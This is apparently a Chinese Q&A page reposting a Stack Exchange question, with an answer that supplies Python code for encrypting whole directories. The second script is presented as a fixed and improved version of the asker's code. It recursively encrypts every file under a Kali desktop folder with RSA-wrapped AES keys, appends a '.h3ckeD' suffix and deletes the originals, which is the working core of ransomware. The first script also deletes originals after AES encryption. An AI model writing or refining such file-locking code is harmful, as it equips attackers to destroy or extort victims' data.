You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何用Python实现文件夹AES加解密及递归加密指定目录文件加后缀?

问题解答

问题1:Python遍历文件夹实现AES加密/解密并删除原文件

AES属于对称加密算法,推荐使用GCM模式(同时提供加密与数据认证,安全性更高)。以下是完整实现方案:

前置准备

先安装依赖库:

pip install cryptography

完整代码实现

import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import secrets

def generate_aes_key():
    # 生成256位AES密钥(32字节,安全强度较高)
    return secrets.token_bytes(32)

def encrypt_file(aes_key, input_path, output_path):
    # GCM模式需要12字节随机IV(初始化向量)
    iv = secrets.token_bytes(12)
    cipher = Cipher(algorithms.AES(aes_key), modes.GCM(iv), backend=default_backend())
    encryptor = cipher.encryptor()

    with open(input_path, 'rb') as f_in:
        file_data = f_in.read()

    # 执行加密
    encrypted_data = encryptor.update(file_data) + encryptor.finalize()

    # 将IV、GCM认证标签、密文一起写入输出文件(解密时需要这些数据)
    with open(output_path, 'wb') as f_out:
        f_out.write(iv)
        f_out.write(encryptor.tag)
        f_out.write(encrypted_data)

def decrypt_file(aes_key, input_path, output_path):
    with open(input_path, 'rb') as f_in:
        iv = f_in.read(12)
        tag = f_in.read(16)  # GCM标签固定为16字节
        encrypted_data = f_in.read()

    cipher = Cipher(algorithms.AES(aes_key), modes.GCM(iv, tag), backend=default_backend())
    decryptor = cipher.decryptor()

    try:
        decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
    except Exception as e:
        print(f"解密失败:{e}")
        return False

    with open(output_path, 'wb') as f_out:
        f_out.write(decrypted_data)
    return True

def process_directory(aes_key, target_dir, mode='encrypt'):
    # 递归遍历目标目录下所有文件
    for root, dirs, files in os.walk(target_dir):
        for file in files:
            file_path = os.path.join(root, file)
            if mode == 'encrypt':
                encrypted_path = f"{file_path}.en"
                encrypt_file(aes_key, file_path, encrypted_path)
                # 删除原未加密文件
                os.remove(file_path)
                print(f"已加密并删除原文件:{file_path}")
            elif mode == 'decrypt':
                if file.endswith('.en'):
                    decrypted_path = file_path[:-3]
                    if decrypt_file(aes_key, file_path, decrypted_path):
                        # 删除加密后的文件
                        os.remove(file_path)
                        print(f"已解密并删除加密文件:{file_path}")

# 使用示例
if __name__ == "__main__":
    # 生成AES密钥(务必妥善保存,丢失则无法解密)
    aes_key = generate_aes_key()
    with open("aes_key.bin", 'wb') as f:
        f.write(aes_key)
    
    # 替换为你需要处理的目录路径
    target_dir = "/path/to/your/target/directory"
    # 执行加密
    process_directory(aes_key, target_dir, mode='encrypt')

    # 解密时读取密钥并执行
    # with open("aes_key.bin", 'rb') as f:
    #     aes_key = f.read()
    # process_directory(aes_key, target_dir, mode='decrypt')

核心注意事项

  • AES密钥是解密的唯一凭证,必须离线妥善存储,丢失则所有加密文件无法恢复。
  • GCM模式的IV和认证标签必须与密文绑定保存,否则无法完成解密。
  • 测试阶段请先备份文件,避免误操作导致数据丢失。

问题2:递归加密指定目录文件并添加.h3ckeD后缀(RSA改进版)

首先明确:RSA不适合直接加密大文件,因为RSA的加密长度受限于密钥大小(2048位RSA最多加密约245字节数据)。推荐采用混合加密方案:用RSA加密临时生成的AES密钥,再用AES加密文件内容,兼顾安全性与实用性。以下是针对需求的实现:

修正并改进后的代码

import os
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import secrets

def generate_rsa_keys():
    # 生成2048位RSA密钥对
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    public_key = private_key.public_key()

    # 保存私钥(务必离线保管,泄露则加密文件可被解密)
    with open('private_key.pem', 'wb') as f:
        f.write(private_key.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption()
        ))
    
    # 保存公钥(用于加密)
    with open('public_key.pem', 'wb') as f:
        f.write(public_key.public_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PublicFormat.SubjectPublicKeyInfo
        ))
    
    return private_key, public_key

def encrypt_file_with_hybrid(public_key, input_path, output_path):
    # 生成临时AES密钥(用于加密大文件内容)
    aes_key = secrets.token_bytes(32)
    iv = secrets.token_bytes(12)
    cipher = Cipher(algorithms.AES(aes_key), modes.GCM(iv), backend=default_backend())
    encryptor = cipher.encryptor()

    # 读取并加密文件内容
    with open(input_path, 'rb') as f_in:
        file_data = f_in.read()
    encrypted_data = encryptor.update(file_data) + encryptor.finalize()

    # 用RSA加密AES密钥
    encrypted_aes_key = public_key.encrypt(
        aes_key,
        padding.OAEP(
            mgf=padding.MGF1(algorithm=hashes.SHA256()),
            algorithm=hashes.SHA256(),
            label=None
        )
    )

    # 写入加密后的数据:密钥长度→加密后的AES密钥→IV→GCM标签→文件密文
    with open(output_path, 'wb') as f_out:
        f_out.write(len(encrypted_aes_key).to_bytes(4, byteorder='big'))
        f_out.write(encrypted_aes_key)
        f_out.write(iv)
        f_out.write(encryptor.tag)
        f_out.write(encrypted_data)

def recursive_encrypt_directory(public_key, target_dir):
    # 递归遍历目录下所有文件
    for root, dirs, files in os.walk(target_dir):
        for file in files:
            file_path = os.path.join(root, file)
            # 跳过密钥文件和已加密文件
            if file in ['private_key.pem', 'public_key.pem'] or file.endswith('.h3ckeD'):
                continue
            encrypted_path = f"{file_path}.h3ckeD"
            encrypt_file_with_hybrid(public_key, file_path, encrypted_path)
            # 删除原文件(测试阶段建议先注释该行,避免误删)
            os.remove(file_path)
            print(f"已加密并删除原文件:{file_path} → {encrypted_path}")

# 使用示例
if __name__ == "__main__":
    # 首次运行生成密钥对,之后可直接读取公钥
    # private_key, public_key = generate_rsa_keys()

    # 读取已生成的公钥
    with open('public_key.pem', 'rb') as f:
        public_key = serialization.load_pem_public_key(
            f.read(),
            backend=default_backend()
        )
    
    # 替换为目标目录路径
    target_dir = "/home/kali/Desktop/files"
    recursive_encrypt_directory(public_key, target_dir)

关键改进说明

  • 采用混合加密方案,解决RSA无法加密大文件的问题。
  • 递归遍历目标目录,自动跳过密钥文件和已加密的.h3ckeD文件。
  • 修正了原代码中的缩进错误,保证代码可正常运行。
  • 保存加密所需的元数据,确保后续可通过私钥完成解密。

核心注意事项

  • 私钥是解密的唯一凭证,必须离线存储,禁止泄露。
  • 测试前务必备份目标目录的所有文件,避免数据丢失。

内容的提问来源于stack exchange,提问作者Jackson

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.17 19:55:21